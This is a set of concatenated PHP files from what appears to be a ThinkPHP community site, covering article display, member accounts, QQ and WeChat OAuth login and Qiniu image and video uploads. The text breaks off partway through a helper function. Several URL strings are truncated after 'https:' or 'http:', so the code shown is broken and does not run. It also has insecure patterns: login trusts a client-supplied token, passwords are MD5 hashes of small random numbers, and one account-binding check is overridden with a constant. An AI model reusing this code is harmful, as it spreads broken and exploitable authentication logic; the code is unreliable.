<?php

return [

'app\_init' => [],

'app\_begin' => [],

'module\_init' => [],

'action\_begin' => [],

'view\_filter' => [],

'log\_write' => [],

'app\_end' => [],

'action\_log'=>[

'\app\behavior\ActionLog',

]

];

<?php

namespace app\index\controller;

use app\index\controller\Common;

use think\Db;

use think\Request;

class M extends Common

{

public function \_\_construct(){

parent::\_\_construct();

}

public function index(){

return $this->fetch();

}

public function view(){

if(!input('?id')){

$this->redirect(\_webfig('url'));

}

$id=input('id/d');

if(!$id){

$this->redirect(\_webfig('url'));

}

$name=Db::name('article')->where(['id'=>$id])->find();

if(!$name){

$this->error("内容不存在");

}

if($name['hide']==0){

$this->error("内容不存在");

}

if($name['hide']==2){

$this->error("文章正在审核，无法查看");

}

if($name['hide']==3){

$this->error("文章未通过，无法查看");

}

Db::name('article')->where(['id'=>$id,'hide'=>1])->setInc('click');

if($name['content']){

preg\_match\_all("/img(.\*?)src=\"(.\*?)\"/", stripslashes($name['content']),$content);

foreach ($content[2] as $k => $v) {

if(strstr($v,'http')){

}else if(strpos($v,'/public/uploads/us/') !== false){

}else{

$name['content']=str\_replace($v,\_imgUrl().$v,stripslashes($name['content']));

}

}

}

if($name['mychannel']==2){

$content='';

if($name['weitoutiao']==0){

foreach (json\_decode($name['images'],true) as $k => $v) {

$content.='<p class="a-image"><img src="'.\_imgUrl().$v['img'].'"></p>';

$content.='<p class="a-image">'.$v['img\_text'].'</p>';

}

}else{

$name['images']=htmlspecialchars\_decode($name['images']);

$name['images']=json\_decode($name['images'],true);

foreach ($name['images'] as $k => $v) {

if(is\_array($v)){

$v=$v['img'];

}

$content.='<p class="a-image"><img src="'.\_imgUrl().$v.'"></p>';

}

}

$name['content']="<p>".$name['description']."</p>".$content;

}else if($name['mychannel']==3 || $name['mychannel']==4){

if($name['mychannel']==3){

$videoimages=$name['image'] ? $name['image'] : $name['video']."?vframe/jpg/offset/2/w/400/h/400";

}else{

$videoimages=$name['image'] ? $name['image'] : $name['video']."?vframe/jpg/offset/2/w/400/h/700";

}

$videoimages=\_imgUrl().$videoimages;

$this->assign('videoimages',$videoimages);

}

$user=Db::name('member')->where('id',$name['uid'])->find();

$this->assign('user',$user);

$ping=Db::name('article\_ping')->where('aid',$id)->order('time desc')->limit(20)->select();

foreach ($ping as $k => $v) {

$user=\_user($v['uid']);

$ping[$k]['img']=\_imgUrl().$user['img']."?imageView2/1/w/100/h/100";

$ping[$k]['username']=$user['username'];

}

$this->assign('ping',$ping);

$this->assign('name',$name);

$ad = Db::name('ad')->where(['hide' => 1,'device'=>0])->order('rand()')->find();

$this->assign('ad',$ad);

return $this->fetch();

}

public function user(){

if(!input('?id')){

$this->redirect(\_webfig('url'));

}

$id=input('id/d');

if(!$id){

$this->redirect(\_webfig('url'));

}

if(\_session()){

$member=\_member();

}

$user=\_user($id);

if($user['hide']==0){

$this->error('该账户已被禁止');

}else if($user['hide']==3){

$this->error('该账户正在审核');

}else if($user['hide']==2){

$this->error('该账户正在审核');

}

$user['guanzhu']=Db::name('member\_guanzhu')->where(['uid'=>$user['id']])->count();

$user['fensi']=Db::name('member\_guanzhu')->where(['gz\_uid'=>$user['id']])->count();

$this->assign('user',$user);

return $this->fetch();

}

public function yaoqing(){

$uid=input('uid/d');

$this->assign('uid',$uid);

if(cookie('?code')){

$code=cookie('code')-time();

$this->assign('code',$code);

}

return $this->fetch();

}

public function erweima(){

$uid=input('uid/d');

$url=url('index/m/yaoqing',['uid'=>$uid],'',true);

$url='https:

$this->assign('url',$url);

return $this->fetch();

}

public function hongbaoapp(){

return $this->fetch();

}

}

<?php

namespace app\index\controller;

use think\Controller;

use think\Session;

class Common extends Controller

{

}

<?php

namespace app\index\controller;

use app\index\controller\Common;

use think\Db;

use think\Session;

use think\Request;

use Qiniu\Auth;

use Qiniu\Storage\BucketManager;

use Qiniu\Storage\UploadManager;

class User extends Common

{

public function \_\_construct($tokenaaa=''){

parent::\_\_construct();

}

public function index(){

$id=input('id/d');

if(!$id){

$this->redirect(\_webfig('url'));

}

if(\_session()){

$member=\_member();

}

$user=\_user($id);

if($user['hide']==0){

$this->error('该账户已被禁止');

}else if($user['hide']==3){

$this->error('该账户正在审核');

}else if($user['hide']==2){

$this->error('该账户正在审核');

}

if(\_session()){

$user['guanzhu']=Db::name('member\_guanzhu')->where(['uid'=>$member['id'],'gz\_uid'=>$user['id']])->value('id');

}else{

$user['guanzhu']=0;

}

$user['dongtai']=Db::name('member\_guanzhu')->where(['uid'=>$id])->count();

$user['fensi']=Db::name('member\_guanzhu')->where(['gz\_uid'=>$id])->count();

$this->assign('user',$user);

$typeid=Db::name('typeid')->where(['hide'=>1,'tid'=>0])->order('hide desc,des desc')->limit(100)->cache(\_cache('db'))->field('id,title')->select();

$this->assign('typeid',$typeid);

$where['hide']=1;

$channel=Db::name('member')->field('id,img,mobile,nickname')->where($where)->limit(6)->order('rand()')->select();

foreach ($channel as $k => $v) {

if($v['nickname']){

$channel[$k]['username']=$v['nickname'];

}else if($v['mobile']){

$channel[$k]['mobile']=$v['mobile'];

}

$channel[$k]['mobile']='';

$channel[$k]['nickname']='';

if(!$v['img']){

$channel[$k]['img']='/public/style/index/member/img/userimg.gif';

}else{

$channel[$k]['img']=\_imgurl().$v['img'].'?imageView2/1/w/55/h/55';

}

}

$this->assign('channel',$channel);

return $this->fetch();

}

public function login(){

if(Session::has('user','ffxiangUser')){

$this->redirect("member/index");

}

$data=Db::name('member\_config')->select();

$config=[];

foreach ($data as $k => $v) {

$config[$v['name']]['name']=$v['name'];

$config[$v['name']]['title']=$v['title'];

$config[$v['name']]['content']=$v['content'];

$config[$v['name']]['text']=$v['text'];

}

$this->assign('config',$config);

unset($data);

if(!$config['switch']['text'] || $config['switch']==0){

$this->error('会员未开放');

}

$reguser=$config['reguser']['text'] ? '用户名/' : '';

$regmobile=$config['regmobile']['text'] ? '手机/' : '';

$regemail=$config['regemail']['text'] ? '邮箱/' : '';

$username=$reguser.$regmobile.$regemail;

$username=rtrim($username, "/");

$this->assign('username',$username);

if(Request::instance()->isPost()){

$token=input('token') ? input('token') : '';

if (!\_decrypt($token)) {

return [

'err' => '登录失败',

];

}

Session::set('user',$token,'ffxiangUser');

return ['ret'=>'登录成功'];

}else{

return $this->fetch();

}

}

public function reg(){

if(Session::has('user','ffxiangUser')){

$this->redirect("member/index");

}

$data=Db::name('member\_config')->select();

$config=[];

foreach ($data as $k => $v) {

$config[$v['name']]['name']=$v['name'];

$config[$v['name']]['title']=$v['title'];

$config[$v['name']]['content']=$v['content'];

$config[$v['name']]['text']=$v['text'];

}

$this->assign('config',$config);

unset($data);

if(!$config['switch']['text'] || $config['switch']['text']==0){

$this->error('未开放会员系统');

}

if(!$config['regmobile']['text'] && !$config['regemail']['text'] && !$config['reguser']['text']){

$this->error('会员设置操作有问题，请在后台-会员管理-配置设置中的用户名、手机、邮箱，至少要开放一个');

}

$reguser=$config['reguser']['text'] ? '用户名/' : '';

$regmobile=$config['regmobile']['text'] ? '手机/' : '';

$regemail=$config['regemail']['text'] ? '邮箱/' : '';

$username=$reguser.$regmobile.$regemail;

$username=rtrim($username, "/");

$this->assign('username',$username);

return $this->fetch();

}

public function password(){

if(Session::has('user','ffxiangUser')){

$this->redirect("member/index");

}

$data=Db::name('member\_config')->select();

$config=[];

foreach ($data as $k => $v) {

$config[$v['name']]['name']=$v['name'];

$config[$v['name']]['title']=$v['title'];

$config[$v['name']]['content']=$v['content'];

$config[$v['name']]['text']=$v['text'];

}

$this->assign('config',$config);

unset($data);

if(!$config['switch']['text'] || $config['switch']['text']==0){

$this->error('未开放会员系统');

}

if(!$config['regmobile']['text'] && !$config['regemail']['text']){

$this->error('会员设置操作有问题，请在后台-会员管理-配置设置中的手机、邮箱，至少要开放一个');

}

$regmobile=$config['regmobile']['text'] ? '手机/' : '';

$regemail=$config['regemail']['text'] ? '邮箱/' : '';

$username=$regmobile.$regemail;

$this->assign('username',rtrim($username, "/"));

return $this->fetch();

}

public function qqLogin(){

$url = request()->root(true).'/'.request()->path();

$redirect\_uri = urlencode($url);

$config=Db::name('member\_config')->where('type','qqLogin')->select();

$appid = $config['0']['text'];

$appsecret = $config['1']['text'];

$\_SESSION['state'] = md5(uniqid(rand(), TRUE));

if(!isset($\_GET['code']) && !isset($\_SESSION['code'])){

$url= 'https:

header('Location:'.$url);

exit;

}

if (isset($\_GET['code']) && !isset($\_SESSION['token'])){

$\_SESSION['code'] = $\_GET['code'];

$url="https:

"&client\_secret=".$appsecret."&code=".$\_GET['code']."&grant\_type=authorization\_code"

."&state=".$\_SESSION['state']."&redirect\_uri=".$redirect\_uri;

$res = file\_get\_contents($url);

preg\_match('/access\_token=(.\*?)\&/', $res, $res);

$access\_token = $res[1];

$url = 'https:

$openid = file\_get\_contents($url);

preg\_match('/callback\((.\*?)\)/', $openid, $openid);

$openid = json\_decode($openid['1'],true)['openid'];

if($openid){

$db = Db::name('member\_band')->where(['code'=>$openid])->find();

if($db){

$member=Db::name('member')->where(['id'=>$db['uid'],'hide'=>1])->field('id,password')->find();

}else{

$url = "https:

$res = file\_get\_contents($url);

$info = $res;

$res=json\_decode($res, true);

$member=$this->user(['openid'=>$openid,'type'=>'qqpc','nickname'=>$res['nickname'],'img'=>$res['figureurl\_2'],'info'=>$info]);

}

if($member){

$time=time();

$ip=\_ip();

Db::name('member')->where('id',$member['id'])->update(['update\_time'=>$time,'update\_ip'=>$ip]);

\_records($member['id'],'登录成功');

$data=$member['id'].'|www.ffxiang.cn|'.$member['password'];

Session::set('user',\_encrypt($data),'ffxiangUser');

header('Location:'.url('member/index'));

}else{

$this->error('登录失败');

}

}else{

$this->error('openid获取失败');

}

}else{

$this->error('code获取失败');

}

}

public function wxLogin(){

$url = request()->root(true).'/'.request()->path();

$url = urlencode($url);

$config=Db::name('member\_config')->where('type','wxLogin')->select();

$appid = $config['0']['text'];

$appsecret = $config['1']['text'];

$state = md5(uniqid(rand(), TRUE));

if(!isset($\_GET['code']) && !isset($\_SESSION['code'])){

$url = "https:

header('Location:'.$url);

exit;

}

if (isset($\_GET['code'])){

$url = "https:

$res = file\_get\_contents($url);

$res=json\_decode($res, true);

if(isset($res['access\_token']) && isset($res['openid'])){

$db = Db::name('member\_band')->where(['code'=>$res['openid']])->find();

$db = false;

if($db){

$member=Db::name('member')->where(['id'=>$db['uid'],'hide'=>1])->field('id,password')->find();

}else{

$url = "https:

$res = file\_get\_contents($url);

$info = $res;

$res=json\_decode($res, true);

$member=$this->user(['openid'=>$res['openid'],'type'=>'wxpc','nickname'=>$res['nickname'],'img'=>$res['headimgurl'],'info'=>$info,'unionid'=>$res['unionid']]);

}

if($member){

$time=time();

$ip=\_ip();

Db::name('member')->where('id',$member['id'])->update(['update\_time'=>$time,'update\_ip'=>$ip]);

\_records($member['id'],'登录成功');

$data=$member['id'].'|www.ffxiang.cn|'.$member['password'];

Session::set('user',\_encrypt($data),'ffxiangUser');

header('Location:'.url('member/index'));

}else{

$this->error('登录失败');

}

}else{

$this->error('access\_token或openid 获取失败');

}

}else{

$this->error('code获取失败');

}

}

private function user($data){

if(!$data){

return;

}

$ip=\_ip();

$password=md5(rand(100000,999999));

$map['password']=$password;

$map['hide']=1;

$time=time();

$map['create\_time']=$time;

$map['update\_time']=$time;

$map['update\_ip']=$ip;

$map['nickname']=$data['nickname'];

$map['img']=$this->qiniu($data['img']);

$db=Db::name('member')->insertGetId($map);

if($db){

\_records($db,'注册成功');

$appidmap['uid']=$db;

$appidmap['type']=$data['type'];

$appidmap['code']=$data['openid'];

$appidmap['time']=time();

$appidmap['info']=$data['info'];

$appidmapdb=Db::name('member\_band')->insertGetId($appidmap);

\_records($db,$data['type'].'绑定');

}

return ['id'=>$db,'password'=>$password];

}

private function qiniu($url,$type='.jpg'){

if(!$url){

return '';

}

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db=db::name('member\_config')->where(['type'=>'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bmgr = new BucketManager($auth);

$bucket = $db['2']['text'];

$key = md5($url.rand(11111,999999)) .$type;

list($ret, $err) = $bmgr->fetch($url, $bucket, $key);

if ($err !== null) {

return '';

} else {

return $key;

}

}

public function guanzhuList(){

$pages=input('post.pages') ? input('post.pages') : '';

$type=input('param.type/d') ? input('param.type/d') : 1;

$uid=input('param.uid/d') ? input('param.uid/d') : '';

if(!$uid){

return;

}

if(\_token()){

$member = \_member();

}

if($type==1){

$auid='a.gz\_uid';

$where['a.uid']=$uid;

}else{

$auid='a.uid';

$where['a.gz\_uid']=$uid;

}

$join = [

['\_\_MEMBER\_\_ w',$auid.'=w.id'],

];

$data=Db::name('member\_guanzhu')->alias('a')->join($join)->where($where)->order('a.id desc')->field('w.id,w.img')->fetchSql(false)->paginate(15)->toarray();

foreach ($data['data'] as $k => $v) {

$user=\_user($v['id']);

$data['data'][$k]['img']=\_imgUrl().$user['img']."?imageView2/1/w/100/h/100";

$data['data'][$k]['username']=$user['username'];

if($member){

$data['data'][$k]['guanzhu']=Db::name('member\_guanzhu')->where(['uid'=>$member['id'],'gz\_uid'=>$v['id']])->value('id');

}

}

return json($data);

}

}

<?php

namespace app\index\controller;

use app\index\controller\Common;

use think\Db;

use think\Request;

class Article extends Common

{

public function \_\_construct($tokenaaa=''){

parent::\_\_construct();

if(\_isMobileApp()){

$this->redirect("m/index");

exit();

}

}

private function get($url){

$url = $url;

$data = array();

$curl = curl\_init();

curl\_setopt($curl,CURLOPT\_URL,$url);

curl\_setopt($curl,CURLOPT\_POST,$data);

curl\_setopt($curl,CURLOPT\_RETURNTRANSFER,1);

$data = curl\_exec($curl);

curl\_close($curl);

return $data;

}

public function index(){

$where['hide']=1;

$typeid=Db::name('typeid')->where(['hide'=>1,'tid'=>0])->order('hide desc,des desc')->limit(100)->cache(\_cache('db'))->field('id,title')->select();

$this->assign('typeid',$typeid);

$slide=Db::name('slide')->where('tid',1)->limit(6)->cache(\_cache('db'))->select();

$this->assign('slide',$slide);

$this->assign('imgUrl',\_imgUrl());

return $this->fetch('suxiangw');

}

public function typeid(){

if(!input('?id')){

$this->error("参数错误");

}

$id=input('id/d');

$this->assign('typeidActive',$id);

$this->assign('id',$id);

$where['hide']=1;

$where['id']=$id;

$name=Db::name('typeid')->where($where)->cache(\_cache('db'))->find();

$this->assign('name',$name);

$typeid=Db::name('typeid')->where(['hide'=>1,'tid'=>0])->order('hide desc,des desc')->limit(100)->cache(\_cache('db'))->field('id,title')->select();

$this->assign('typeid',$typeid);

return $this->fetch('list');

}

public function view(){

if(!input('?id')){

$this->error("参数错误");

}

$id=input('id/d');

$name=Db::name('article')->find($id);

if(!$name){

$this->error("内容不存在");

}

if(\_session()){

$member = \_member();

if($name['uid'] && $name['uid'] == $member['id']){

}else{

if($name['hide']==0){

$this->error("内容不存在");

}elseif($name['hide']==2){

$this->error("文章正在审核，无法查看");

}elseif($name['hide']==3){

$this->error("文章未通过，无法查看");

}

}

}else{

if($name['hide']==0){

$this->error("内容不存在");

}elseif($name['hide']==2){

$this->error("文章正在审核，无法查看");

}elseif($name['hide']==3){

$this->error("文章未通过，无法查看");

}

}

if($name['typeid']){

$name['type\_name'] = Db::name('typeid')->where(['id'=>$name['typeid']])->cache(true)->value('title');

}else{

$name['type\_name'] = Db::name('mychannel')->where(['id'=>$name['mychannel']])->cache(true)->value('title');

}

Db::name('article')->where(['id'=>$id,'hide'=>1])->setInc('click');

if($name['content']){

preg\_match\_all("/img(.\*?)src=\"(.\*?)\"/", stripslashes($name['content']),$content);

foreach ($content[2] as $k => $v) {

if(strstr($v,'http')){

}else if(strpos($v,'/public/uploads/us/') !== false){

}else{

$name['content']=str\_replace($v,\_imgUrl().$v,stripslashes($name['content']));

}

}

}

if($name['mychannel']==2){

$content='';

$imagsjson = json\_decode($name['images'],true) ? json\_decode($name['images'],true) : json\_decode(htmlspecialchars\_decode($name['images']) , true);

foreach ($imagsjson as $k => $v) {

$content.='<p class="a-image"><img src="'.\_imgUrl().(!empty($v['img']) ? $v['img'] : $v).'"></p>';

if(!empty($v['img\_text'])){

$content.='<p class="a-image">'.$v['img\_text'].'</p>';

}

}

$name['content']="<p>".$name['description']."</p>".$content;

}else if($name['mychannel']==3 || $name['mychannel']==4){

if($name['mychannel']==3){

$videoimages=$name['image'] ? $name['image'] : $name['video']."?vframe/jpg/offset/2/w/400/h/400";

}else{

$videoimages=$name['image'] ? $name['image'] : $name['video']."?vframe/jpg/offset/2/w/400/h/700";

}

$videoimages=\_imgUrl().$videoimages;

$this->assign('videoimages',$videoimages);

}

$user=Db::name('member')->where('id',$name['uid'])->find();

$typeid=Db::name('typeid')->where(['hide'=>1,'tid'=>0])->order('hide desc,des desc')->limit(100)->cache(\_cache('db'))->field('id,title')->select();

$this->assign('typeid',$typeid);

$this->assign('user',$user);

if(\_session()){

$shoucang=DB::name('member\_favorite')->where(['aid'=>$id,'uid'=>$name['uid'],'type'=>0])->value('id');

if(!$shoucang){$shoucang=0;}

$name['guanzhu']=db('member\_guanzhu')->where(['uid'=>$member['id'],'gz\_uid'=>$name['uid']])->value('id');

}else{

$shoucang=0;

$name['guanzhu']=0;

}

$name['shoucang']=$shoucang;

$ping=Db::name('article\_ping')->where('aid',$id)->order('time desc')->limit(10)->select();

foreach ($ping as $k => $v) {

$user=\_user($v['uid']);

$ping[$k]['img']=\_imgUrl().$user['img']."?imageView2/1/w/100/h/100";

$ping[$k]['username']=$user['username'];

if (!empty($member)) {

$uid = $member['id'];

$zanUser = Db::name('article\_ping\_zan')->where(['pingId' => $v['id'], 'uid' => $uid])->cache(\_cache('db'))->value('id');

$ping[$k]['zanUser'] = $zanUser;

}

}

$name['content']=str\_replace('<div>','',$name['content']);

$this->assign('ping',$ping);

$this->assign('name',$name);

return $this->fetch('view');

}

public function page(){

$id=input('id/d');

if(!$id){

return;

}

$typeid=Db::name('typeid')->where(['hide'=>1,'tid'=>0])->order('hide desc,des desc')->limit(100)->cache(\_cache('db'))->field('id,title')->select();

$typeidJosn=[];

foreach ($typeid as $k => $v) {

$typeidJosn[$k]['name']=$v['title'];

$typeidJosn[$k]['channelid']=$v['id'];

$typeidJosn[$k]['url']=url('typeid',['id'=>$v['id']]);

}

$this->assign('typeidJosn',$typeidJosn);

$this->assign('typeid',$typeid);

$name=Db::name('page')->where('id',$id)->cache(\_cache('db'))->find();

$this->assign('name',$name);

return $this->fetch();

}

public function search(){

$search=input('search');

if(!$search){

$this->error('请输入搜索关键词');

}

$typeid=Db::name('typeid')->where(['hide'=>1,'tid'=>0])->order('hide desc,des desc')->limit(100)->cache(\_cache('db'))->field('id,title')->select();

$this->assign('typeid',$typeid);

$this->assign('search',$search);

return $this->fetch();

}

}

<?php

namespace app\index\controller;

use app\index\controller\Common;

use think\Db;

use think\Session;

use think\Request;

use think\Validate;

use Qiniu\Auth as Auth;

use Qiniu\Storage\UploadManager;

set\_time\_limit(0);

class Mp extends Common

{

public $member=null;

public function \_\_construct(){

parent::\_\_construct();

if(!Session::has('user','ffxiangUser')){

$this->redirect("user/login");

}

$this->member = \_member();

$this->assign('member',$this->member);

}

public function index(){

$article\_num = Db::name('article')->where(['uid'=>$this->member['id']])->count();

$this->assign('article\_num',$article\_num);

$article\_ping = Db::name('article\_ping')->where(['aid\_uid'=>$this->member['id']])->count();

$this->assign('article\_ping',$article\_ping);

$article\_zan = Db::name('article\_zan')->where(['aid\_uid'=>$this->member['id']])->count();

$this->assign('article\_zan',$article\_zan);

return $this->fetch();

}

public function add(){

$mychannel = input('mychannel/d') ? input('mychannel/d') : 1;

$this->assign('mychannel',$mychannel);

if(request()->isAjax()){

$post = input('post.');

$validate = new Validate([

'title|标题' => 'require|length:5,100',

'content|内容' => 'length:100,9999',

'mychannel|模型'=> 'require|number|in:1,2,3,4,5',

'typeid|栏目' => 'require|number',

]);

$validata=[

'title' => $post['title'],

'content' => $post['content'],

'mychannel' => $post['mychannel'],

'typeid' => $post['typeid']

];

if (!$validate->check($validata)) {

return json(['err'=>$validate->getError()]);;

}

if($mychannel == 1){

if(!$post['content']){

return json(['err'=>'内容不能为空']);

}

}else if($mychannel == 2){

if(!$post['images']){

return json(['err'=>'图片不能为空']);

}

}else if($mychannel == 3){

if(!$post['video']){

return json(['err'=>'视频不能为空']);

}

}

$mychannel\_db = Db::name('mychannel')->cache(true)->find($mychannel);

if(!$mychannel\_db){

return json(['err' => '模型ID不存在']);

}

$id = input('id/d');

$title\_where['title'] = $post['title'];

if($id){

$title\_where['id'] = ['<>',$id];

}

$title = Db::name('article')->where($title\_where)->find();

if($title){

return json(['err'=>'标题已存在']);

}

$time = time();

$where['title'] = $post['title'];

if(!$id){

$where['create\_time'] = $time;

}

$where['update\_time'] = $time;

$where['des'] = 50;

if(!$id){

$where['uid'] = $this->member['id'];

}

$where['weitoutiao'] = 0;

$where['mychannel'] = $post['mychannel'];

$where['hide'] = 1;

$where['source'] = $this->member['username'];

$where['image'] = $post['img'];

$where['typeid'] = $post['typeid'];

if($mychannel == 1){

$where['content'] = $post['content'];

}elseif($mychannel == 2){

$where['images'] = json\_encode($post['images']);

}else if($mychannel == 3){

$where['video'] = $post['video'];

}

if(!$id){

$id = Db::name('article')->insertGetId($where);

if($id){

return json(['ret'=>$id]);

}else{

return json(['err'=>'添加失败，请联系管理员']);

}

}else{

$id = Db::name('article')->where(['id'=>$id,'uid'=>$this->member['id']])->update($where);

if($id){

return json(['ret'=>$id]);

}else{

return json(['err'=>'修改失败，请联系管理员']);

}

}

}

if($mychannel == 3){

$typeid = Db::name('typeid')->where(['hide'=>1,'tid'=>0,'tid'=>132])->order('des desc')->cache(true)->field('id,title')->select();

}else{

$typeid = Db::name('typeid')->where(['hide'=>1,'tid'=>0,'id'=>['<>','132']])->order('des desc')->cache(true)->field('id,title')->select();

}

$id = input('id/d');

if($id){

$name = Db::name('article')->where(['uid'=>$this->member['id']])->find($id);

if(!$name){

$this->error('文章不存在或已删除！');

}

$this->assign('name',$name);

}

$this->assign('id',$id);

$this->assign('typeid',$typeid);

return $this->fetch();

}

public function upload(){

$file = request()->file('file');

$filePath = $file->getRealPath();

if(!$filePath){

return json(['err'=>'非法操作']);

}

$ext = pathinfo($file->getInfo('name'), PATHINFO\_EXTENSION);

$geshi=['jpg','png','gif','jpeg','JPEG','JPG','GIF','PNG'];

if(!in\_array($ext,$geshi)){

return json(['err'=>'图片格式不对，请换张图片吧']);

}

$key =substr(md5($file->getRealPath()) , 0, 5). date('YmdHis') . rand(100, 999999) . '.jpg' ;

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db=db::name('member\_config')->where(['type'=>'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bucket = $db['2']['text'];

$token = $auth->uploadToken($bucket);

$uploadMgr = new UploadManager();

list($ret, $err) = $uploadMgr->putFile($token, $key, $filePath);

if ($err !== null) {

$a['code'] = 1;

$a['msg'] = $err;

} else {

$a['code'] = 0;

$a['msg'] = '上传成功';

$a['data']['src'] = \_imgUrl().$ret['key'];

$a['data']['src\_s'] = $ret['key'];

$a['data']['title'] = '';

}

return json($a);

}

public function upload\_video(){

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db = db::name('member\_config')->where(['type'=>'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bucket = $db['2']['text'];

$pipeline = $db['4']['text'];

$fops = $db['5']['text'];

$auth = new Auth($accessKey, $secretKey);

$savekey = \Qiniu\base64\_urlSafeEncode($bucket);

$fops = $fops.'|saveas/'.$savekey;

$wenurl=config()['appConfig']['url'];

$policy = array(

'persistentOps' => $fops,

'persistentPipeline' => $pipeline,

'persistentNotifyUrl' => $wenurl.'/index.php/api/index/notify',

);

$uptoken = $auth->uploadToken($bucket, null, 3600, $policy);

$file = request()->file('file');

$filePath = $file->getRealPath();

$uploadMgr = new UploadManager();

list($ret, $err) = $uploadMgr->putFile($uptoken, null, $filePath);

if ($err !== null) {

$a['code'] = 1;

$a['msg'] = $err;

} else {

$a['code'] = 0;

$a['msg'] = '上传成功';

$a['data']['src'] = \_imgUrl().$ret['key'];

$a['data']['src\_s'] = $ret['key'];

$a['data']['title'] = '';

$a['data']['persistentId'] = $ret['persistentId'];

}

return json($a);

}

public function lists(){

$mychannel = input('mychannel/d') ? input('mychannel/d') : 0;

$this->assign('mychannel',$mychannel);

$hide = input('hide/d') ? input('hide/d') : '0';

$this->assign('hide',$hide);

$where['uid'] = $this->member['id'];

$where['mychannel'] = ['<>',4];

$where['qiniu\_video\_type'] = 0;

$where['weitoutiao'] = ['in','0,1,2'];

if($hide){

$where['hide'] = $hide;

}

$count = Db::name('article')->where($where)->count();

$this->assign('count',$count);

return $this->fetch('list');

}

public function comment(){

$where['aid\_uid'] = $this->member['id'];

$count = Db::name('article\_ping')->where($where)->count();

$this->assign('count',$count);

return $this->fetch();

}

public function info(){

return $this->fetch();

}

public function img(){

$size = input('size') ? input('size') : '300';

$img = 'http:

$info = getimagesize($img);

$imgExt = image\_type\_to\_extension($info[2], false);

$fun = "imagecreatefrom{$imgExt}";

$imgInfo = $fun($img);

$mime = $info['mime'];

$mime = image\_type\_to\_mime\_type(exif\_imagetype($img));

header('Content-Type:'.$mime);

$quality = 100;

if($imgExt == 'png') $quality = 9;

$getImgInfo = "image{$imgExt}";

$getImgInfo($imgInfo, null, $quality);

imagedestroy($imgInfo);

exit;

}

public function gonggao(){

$pages = input('pages') ? input('pages') : '';

$data=Db::name('gonggao')->order('id desc')->fetchSql(false)->paginate($pages)->toarray();

foreach ($data['data'] as $k => $v) {

$data['data'][$k]['time']=date('Y-m-d H:i',$v['time']);

}

return json($data);

}

}

<?php

namespace app\index\controller;

use app\index\controller\Common;

use think\Db;

class Index extends Common

{

public function \_\_construct($tokenaaa=''){

parent::\_\_construct();

}

public function index()

{

dump("123");exit;

return $this->fetch();

}

public function appurl(){

echo "等待配置下载地址";

return;

$url=config()['config']['appurl'];

header("Location: ".$url);

}

public function app(){

return $this->fetch();

}

public function tianqi(){

$html = file\_get\_contents('http:

echo $html;

}

}

<?php

namespace app\index\controller;

use app\index\controller\Common;

use think\Db;

use think\Session;

use think\Request;

class Member extends Common

{

public function \_\_construct(){

parent::\_\_construct();

if(!Session::has('user','ffxiangUser')){

$this->redirect("user/login");

}

$this->assign('member',\_member());

$category=Db::name('member\_category')->where(['tid'=>0,'hide'=>1])->order('des desc,id asc')->cache(\_cache('db'))->select();

$this->assign('category',$category);

$request = Request::instance();

$controller=strtolower($request->controller());

$action=strtolower($request->action());

$categorytid=Db::name('member\_category')->where(['controller'=>$controller,'function'=>$action])->cache(\_cache('db'))->find();

if($categorytid['tid'] != 0){

$categorytid=Db::name('member\_category')->where('id',$categorytid['tid'])->cache(\_cache('db'))->find();

}

$categorys=Db::name('member\_category')->where(['tid'=>$categorytid['id'],'hide'=>1])->order('des desc,id asc')->cache(\_cache('db'))->select();

$this->assign('categorys',$categorys);

$this->assign('active',$controller.$action);

$this->assign('categorytid',$categorytid);

}

public function index(){

$member=\_member();

$where['id']=['<',3];

$member\_groups=Db::name('member\_groups')->where('jingyan','gt',$member['jingyan'])->order('id asc')->find();

$this->assign('member\_groups',$member\_groups);

return $this->fetch();

}

public function out(){

\_records(\_member('id'),'退出登录');

session(null, 'ffxiangUser');

$this->redirect('user/login');

}

public function modify(){

return $this->fetch();

}

public function nickname(){

return $this->fetch();

}

public function mobile(){

return $this->fetch();

}

public function email(){

return $this->fetch();

}

public function password(){

return $this->fetch();

}

public function records(){

return $this->fetch();

}

public function article(){

return $this->fetch();

}

public function articleAdd(){

$articleCode=Db::name('member\_config')->where('name','articleCode')->value('text');

$this->assign('articleCode',$articleCode);

return $this->fetch();

}

public function favoriteList(){

return $this->fetch();

}

public function moneypay(){

$token=Session::get('user','ffxiangUser');

$this->assign('token',$token);

return $this->fetch();

}

public function payRecord(){

return $this->fetch();

}

public function weitoutiao(){

$this->redirect("user/index",['id'=>\_member('id'),'weitoutiao'=>'1']);

}

}

<?php

use think\Db;

use think\Session;

function \_webfig($name){

if($name){

$data=config()['appConfig'];

$data['logo'] = \_imgurl().$data['logo'];

$data=$data[$name];

}else{

$data='';

}

return $data;

}

function \_ad($id){

$data=Db::name('ad')->where(['id'=>$id])->cache(\_cache('db'))->find();

$data['img'] = \_imgurl().$data['image'];

return $data;

}

function \_member($name=''){

$id=Session::get('user','ffxiangUser');

if(!$id){

session(null, 'ffxiangUser');

header(\_webfig('url'));

exit();

}

$id=\_decrypt($id);

if(!$id){

session(null, 'ffxiangUser');

header(\_webfig('url'));

exit();

}

if(!$id){

session(null, 'ffxiangUser');

header(\_webfig('url'));

exit();

}

$data=Db::name('member')->where(['id'=>$id,'hide'=>1])->find();

if(!$data){

session(null, 'ffxiangUser');

header(\_webfig('url'));

exit();

}

$data['guanzhu']=Db::name('member\_guanzhu')->where(['uid'=>$data['id']])->count();

$data['fensi']=Db::name('member\_guanzhu')->where(['gz\_uid'=>$data['id']])->count();

$data['inco']=\_userGroups($data['jingyan'],'img');

$data['groups']=\_userGroups($data['jingyan']);

if($data['nickname']){

$data['username']=$data['nickname'];

}elseif($data['user']){

$data['username']=$data['user'];

}elseif($data['mobile']){

$data['username']=$data['mobile'];

$data['username']=substr($data['username'],0,3).'\*\*\*\*'.substr($data['username'],7,4);

}elseif($data['email']){

$email = explode('@',$data['email']);

$data['username'] = substr($data['email'],0,2).'\*'.$email[1];

}else{

$data='';

}

if($data['img']){

